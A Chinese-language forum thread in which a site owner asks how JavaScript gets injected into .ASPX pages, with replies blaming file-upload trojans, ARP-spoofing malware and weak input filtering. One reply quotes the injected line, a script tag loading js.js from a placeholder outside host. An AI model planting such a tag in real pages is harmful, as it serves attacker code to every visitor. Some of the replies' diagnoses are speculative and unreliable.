请教.ASPX文件是怎么被注入JS代码的（原理、解决方法、防范措施）

这里有没高手？
指教下网页文件是怎么被注入JS代码的，注入的原理是什么，怎么防止这样的问题发生，

解决方案 »

  1.   

    我就知道上传图片啊文件啊什么的，处理不好就容易被注入，有一种叫什么js变形注入？！说的是上传的时候把木马转化为图片或者文件上传到站点。that`s all
      

  2.   

    应该是恶意脚本攻击症状：
    所有页面的开头或是结尾，会插入类似 
    <script src=http://aaa.bbb.ccc/js.js> </script>  
    的代码。
      

  3.   

    这种脚本可以算是一种木马了，好像被称为ARP木马病毒。ARP木马病毒的恶意行为： 
    1.通过网页漏洞传播：该病毒通过植入网站上的一句JS脚本，导致有XML等漏洞的机器中招，成为此ARP病毒的传播。 
    专杀工具下载地址：http://dl.360safe.com/kill_arp.exe 
    2.貌似瑞星也可以杀。
      

  4.   

    原理你可以看这个：
    http://zhidao.baidu.com/question/5917597.html
      

  5.   

    以前的JS代码是注入到<head></head>中的，现在是</html>后了
    我以前认为是GET和POST参数时，没有过滤完全，后来我对所有的接收参数的地方进行了
    严格的过滤，当时是没问题了，但过了2个月，又来了。
    我捉摸着很有可能是ARP攻击，应该不是参数过滤问题。
    谢谢各位了，网络安全问题只是头痛的问题，多多探讨